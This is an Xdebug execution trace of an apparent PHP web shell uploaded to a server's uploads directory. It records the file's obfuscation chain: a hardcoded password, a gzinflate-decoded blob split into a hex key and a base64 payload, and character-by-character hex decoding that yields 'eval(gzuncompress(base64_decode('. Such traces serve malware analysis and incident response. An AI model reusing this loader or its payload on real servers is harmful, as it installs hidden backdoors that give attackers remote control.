Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:24:01.323020]
1	0	1	0.000307	393528
1	3	0	0.000602	441440	{main}	1		/var/www/html/uploads/ridsaexnlu.php	0	0
1		A						/var/www/html/uploads/ridsaexnlu.php	5	$password = 'raynbieovl'
2	4	0	0.000665	441440	error_reporting	0		/var/www/html/uploads/ridsaexnlu.php	7	1	32759
2	4	1	0.000689	441512
2	4	R			22527
2	5	0	0.000714	441472	define	0		/var/www/html/uploads/ridsaexnlu.php	7	2	''	''
2	5	1	0.000738	441576
2	5	R			TRUE
2	6	0	0.000763	441504	substr	0		/var/www/html/uploads/ridsaexnlu.php	290	3	'\037\b\000\000\000\000\000\000\n$ǒ\b\026EcwX\box=;\b\037"*j=R(??c\004C8\v8A\0048\v8G\004~\r!+0\016\021\b!8b\002ؿyI)QE\ae.i|2\024gbP /\036Km\023Du%\024s\v:CJCWNӭ#1N\037[LӴX|\036!p\000f yEY;\036\022Odz\035\035A\006S\020 8Z-{O%\035#{g\025\034ɾ"AxN\005M\004\034\021MΆ\003t8\003dQ塚\003\025\032\020\003\rc؁H\\RO!Q\030lqfF]\001PѢGШk@aZ&&K\t\030i-6=t.^'	10	-8
2	6	1	0.001817	482560
2	6	R			'$ǒ\b\026EcwX\box=;\b\037"*j=R(??c\004C8\v8A\0048\v8G\004~\r!+0\016\021\b!8b\002ؿyI)QE\ae.i|2\024gbP /\036Km\023Du%\024s\v:CJCWNӭ#1N\037[LӴX|\036!p\000f yEY;\036\022Odz\035\035A\006S\020 8Z-{O%\035#{g\025\034ɾ"AxN\005M\004\034\021MΆ\003t8\003dQ塚\003\025\032\020\003\rc؁H\\RO!Q\030lqfF]\001PѢGШk@aZ&&K\t\030i-6=t.^\v]B?i}jRp,Sט/\anK\'
2	7	0	0.002806	482464	gzinflate	0		/var/www/html/uploads/ridsaexnlu.php	290	1	'$ǒ\b\026EcwX\box=;\b\037"*j=R(??c\004C8\v8A\0048\v8G\004~\r!+0\016\021\b!8b\002ؿyI)QE\ae.i|2\024gbP /\036Km\023Du%\024s\v:CJCWNӭ#1N\037[LӴX|\036!p\000f yEY;\036\022Odz\035\035A\006S\020 8Z-{O%\035#{g\025\034ɾ"AxN\005M\004\034\021MΆ\003t8\003dQ塚\003\025\032\020\003\rc؁H\\RO!Q\030lqfF]\001PѢGШk@aZ&&K\t\030i-6=t.^\v]B?i}jRp,Sט/\anK\'
2	7	1	0.003778	535744
2	7	R			'|\002|\001|\002C|\002|\001|\0026576616C28677A756E636F6D7072657373286261736536345F6465636F64652827|\002|\001|\002eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYd'
2	8	0	0.003844	494752	explode	0		/var/www/html/uploads/ridsaexnlu.php	290	2	'|\002|\001|\002'	'|\002|\001|\002C|\002|\001|\0026576616C28677A756E636F6D7072657373286261736536345F6465636F64652827|\002|\001|\002eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYd'
2	8	1	0.003909	548544
2	8	R			[0 => '', 1 => 'C', 2 => '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827', 3 => 'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD']
1		A						/var/www/html/uploads/ridsaexnlu.php	7	GLOBALS[''] = [0 => '', 1 => 'C', 2 => '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827', 3 => 'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD']
2	9	0	0.004041	495224	error_reporting	0		/var/www/html/uploads/ridsaexnlu.php	291	1	0
2	9	1	0.004055	495232
2	9	R			32759
2	10	0	0.004071	495168	Class_UC_key	1		/var/www/html/uploads/ridsaexnlu.php	291	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	11	0	0.004088	495168	trim	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	11	1	0.004103	495200
3	11	R			'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$array = 66
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger = ''
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one = 0
3	12	0	0.004154	495168	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	0	2
3	12	1	0.004171	495296
3	12	R			'65'
3	13	0	0.004185	495200	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'65'
3	13	1	0.004198	495248
3	13	R			101
3	14	0	0.004210	495168	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	101
3	14	1	0.004224	495264
3	14	R			'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	15	0	0.004259	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	2	2
3	15	1	0.004275	495328
3	15	R			'76'
3	16	0	0.004288	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'76'
3	16	1	0.004300	495280
3	16	R			118
3	17	0	0.004313	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	118
3	17	1	0.004326	495296
3	17	R			'v'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'v'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	18	0	0.004359	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	4	2
3	18	1	0.004374	495328
3	18	R			'61'
3	19	0	0.004387	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'61'
3	19	1	0.004399	495280
3	19	R			97
3	20	0	0.004411	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	97
3	20	1	0.004424	495296
3	20	R			'a'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'a'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	21	0	0.004456	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	6	2
3	21	1	0.004471	495328
3	21	R			'6C'
3	22	0	0.004484	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6C'
3	22	1	0.004497	495280
3	22	R			108
3	23	0	0.004509	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	108
3	23	1	0.004522	495296
3	23	R			'l'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'l'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	24	0	0.004554	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	8	2
3	24	1	0.004569	495328
3	24	R			'28'
3	25	0	0.004582	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'28'
3	25	1	0.004594	495280
3	25	R			40
3	26	0	0.004606	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	40
3	26	1	0.004619	495296
3	26	R			'('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	27	0	0.004651	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	10	2
3	27	1	0.004667	495328
3	27	R			'67'
3	28	0	0.004679	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'67'
3	28	1	0.004692	495280
3	28	R			103
3	29	0	0.004704	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	103
3	29	1	0.004717	495296
3	29	R			'g'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'g'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	30	0	0.004754	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	12	2
3	30	1	0.004770	495328
3	30	R			'7A'
3	31	0	0.004783	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'7A'
3	31	1	0.004795	495280
3	31	R			122
3	32	0	0.004807	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	122
3	32	1	0.004820	495296
3	32	R			'z'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'z'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	33	0	0.004852	495200	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	14	2
3	33	1	0.004867	495328
3	33	R			'75'
3	34	0	0.004880	495232	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'75'
3	34	1	0.004892	495280
3	34	R			117
3	35	0	0.004904	495200	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	117
3	35	1	0.004917	495296
3	35	R			'u'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'u'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	36	0	0.004952	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	16	2
3	36	1	0.004968	495336
3	36	R			'6E'
3	37	0	0.004981	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6E'
3	37	1	0.005046	495288
3	37	R			110
3	38	0	0.005063	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	110
3	38	1	0.005076	495304
3	38	R			'n'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'n'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	39	0	0.005110	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	18	2
3	39	1	0.005126	495336
3	39	R			'63'
3	40	0	0.005138	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'63'
3	40	1	0.005151	495288
3	40	R			99
3	41	0	0.005163	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	99
3	41	1	0.005176	495304
3	41	R			'c'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'c'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	42	0	0.005209	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	20	2
3	42	1	0.005224	495336
3	42	R			'6F'
3	43	0	0.005237	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6F'
3	43	1	0.005250	495288
3	43	R			111
3	44	0	0.005262	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	111
3	44	1	0.005275	495304
3	44	R			'o'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'o'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	45	0	0.005307	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	22	2
3	45	1	0.005322	495336
3	45	R			'6D'
3	46	0	0.005334	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6D'
3	46	1	0.005347	495288
3	46	R			109
3	47	0	0.005359	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	109
3	47	1	0.005372	495304
3	47	R			'm'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'm'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	48	0	0.005404	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	24	2
3	48	1	0.005420	495336
3	48	R			'70'
3	49	0	0.005432	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'70'
3	49	1	0.005445	495288
3	49	R			112
3	50	0	0.005457	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	112
3	50	1	0.005470	495304
3	50	R			'p'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'p'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	51	0	0.005503	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	26	2
3	51	1	0.005522	495336
3	51	R			'72'
3	52	0	0.005535	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'72'
3	52	1	0.005547	495288
3	52	R			114
3	53	0	0.005560	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	114
3	53	1	0.005572	495304
3	53	R			'r'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'r'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	54	0	0.005604	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	28	2
3	54	1	0.005619	495336
3	54	R			'65'
3	55	0	0.005632	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'65'
3	55	1	0.005644	495288
3	55	R			101
3	56	0	0.005656	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	101
3	56	1	0.005669	495304
3	56	R			'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	57	0	0.005707	495208	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	30	2
3	57	1	0.005728	495336
3	57	R			'73'
3	58	0	0.005747	495240	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'73'
3	58	1	0.005765	495288
3	58	R			115
3	59	0	0.005778	495208	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	115
3	59	1	0.005791	495304
3	59	R			's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	60	0	0.005824	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	32	2
3	60	1	0.005839	495344
3	60	R			'73'
3	61	0	0.005852	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'73'
3	61	1	0.005864	495296
3	61	R			115
3	62	0	0.005877	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	115
3	62	1	0.005890	495312
3	62	R			's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	63	0	0.005921	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	34	2
3	63	1	0.005936	495344
3	63	R			'28'
3	64	0	0.005949	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'28'
3	64	1	0.005961	495296
3	64	R			40
3	65	0	0.005973	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	40
3	65	1	0.005986	495312
3	65	R			'('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	66	0	0.006018	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	36	2
3	66	1	0.006034	495344
3	66	R			'62'
3	67	0	0.006062	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'62'
3	67	1	0.006078	495296
3	67	R			98
3	68	0	0.006096	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	98
3	68	1	0.006113	495312
3	68	R			'b'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'b'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	69	0	0.006157	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	38	2
3	69	1	0.006177	495344
3	69	R			'61'
3	70	0	0.006194	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'61'
3	70	1	0.006210	495296
3	70	R			97
3	71	0	0.006227	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	97
3	71	1	0.006243	495312
3	71	R			'a'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'a'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	72	0	0.006286	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	40	2
3	72	1	0.006314	495344
3	72	R			'73'
3	73	0	0.006337	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'73'
3	73	1	0.006354	495296
3	73	R			115
3	74	0	0.006371	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	115
3	74	1	0.006388	495312
3	74	R			's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 's'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	75	0	0.006432	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	42	2
3	75	1	0.006453	495344
3	75	R			'65'
3	76	0	0.006469	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'65'
3	76	1	0.006485	495296
3	76	R			101
3	77	0	0.006502	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	101
3	77	1	0.006519	495312
3	77	R			'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	78	0	0.006562	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	44	2
3	78	1	0.006582	495344
3	78	R			'36'
3	79	0	0.006599	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'36'
3	79	1	0.006615	495296
3	79	R			54
3	80	0	0.006632	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	54
3	80	1	0.006649	495312
3	80	R			'6'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '6'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	81	0	0.006692	495216	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	46	2
3	81	1	0.006712	495344
3	81	R			'34'
3	82	0	0.006729	495248	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'34'
3	82	1	0.006745	495296
3	82	R			52
3	83	0	0.006761	495216	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	52
3	83	1	0.006778	495312
3	83	R			'4'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '4'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	84	0	0.006822	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	48	2
3	84	1	0.006844	495352
3	84	R			'5F'
3	85	0	0.006862	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'5F'
3	85	1	0.006879	495304
3	85	R			95
3	86	0	0.006895	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	95
3	86	1	0.006913	495320
3	86	R			'_'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '_'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	87	0	0.006958	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	50	2
3	87	1	0.006978	495352
3	87	R			'64'
3	88	0	0.006996	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'64'
3	88	1	0.007012	495304
3	88	R			100
3	89	0	0.007029	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	100
3	89	1	0.007046	495320
3	89	R			'd'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'd'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	90	0	0.007090	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	52	2
3	90	1	0.007111	495352
3	90	R			'65'
3	91	0	0.007128	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'65'
3	91	1	0.007144	495304
3	91	R			101
3	92	0	0.007161	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	101
3	92	1	0.007178	495320
3	92	R			'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	93	0	0.007235	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	54	2
3	93	1	0.007256	495352
3	93	R			'63'
3	94	0	0.007274	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'63'
3	94	1	0.007296	495304
3	94	R			99
3	95	0	0.007313	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	99
3	95	1	0.007330	495320
3	95	R			'c'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'c'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	96	0	0.007376	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	56	2
3	96	1	0.007396	495352
3	96	R			'6F'
3	97	0	0.007414	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'6F'
3	97	1	0.007430	495304
3	97	R			111
3	98	0	0.007447	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	111
3	98	1	0.007464	495320
3	98	R			'o'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'o'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	99	0	0.007508	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	58	2
3	99	1	0.007529	495352
3	99	R			'64'
3	100	0	0.007545	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'64'
3	100	1	0.007561	495304
3	100	R			100
3	101	0	0.007580	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	100
3	101	1	0.007597	495320
3	101	R			'd'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'd'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	102	0	0.007644	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	60	2
3	102	1	0.007665	495352
3	102	R			'65'
3	103	0	0.007682	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'65'
3	103	1	0.007698	495304
3	103	R			101
3	104	0	0.007715	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	101
3	104	1	0.007732	495320
3	104	R			'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= 'e'
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	105	0	0.007775	495224	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	62	2
3	105	1	0.007796	495352
3	105	R			'28'
3	106	0	0.007813	495256	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'28'
3	106	1	0.007829	495304
3	106	R			40
3	107	0	0.007846	495224	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	40
3	107	1	0.007863	495320
3	107	R			'('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '('
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
3	108	0	0.007906	495232	substr	0		/var/www/html/uploads/ridsaexnlu.php	291	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	64	2
3	108	1	0.007927	495360
3	108	R			'27'
3	109	0	0.007944	495264	hexdec	0		/var/www/html/uploads/ridsaexnlu.php	291	1	'27'
3	109	1	0.007960	495312
3	109	R			39
3	110	0	0.007976	495232	pack	0		/var/www/html/uploads/ridsaexnlu.php	291	2	'C'	39
3	110	1	0.007994	495328
3	110	R			'\''
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$debuger .= '\''
2		A						/var/www/html/uploads/ridsaexnlu.php	291	$one += 2
2	10	1	0.008037	495232
2	10	R			'eval(gzuncompress(base64_decode(\''
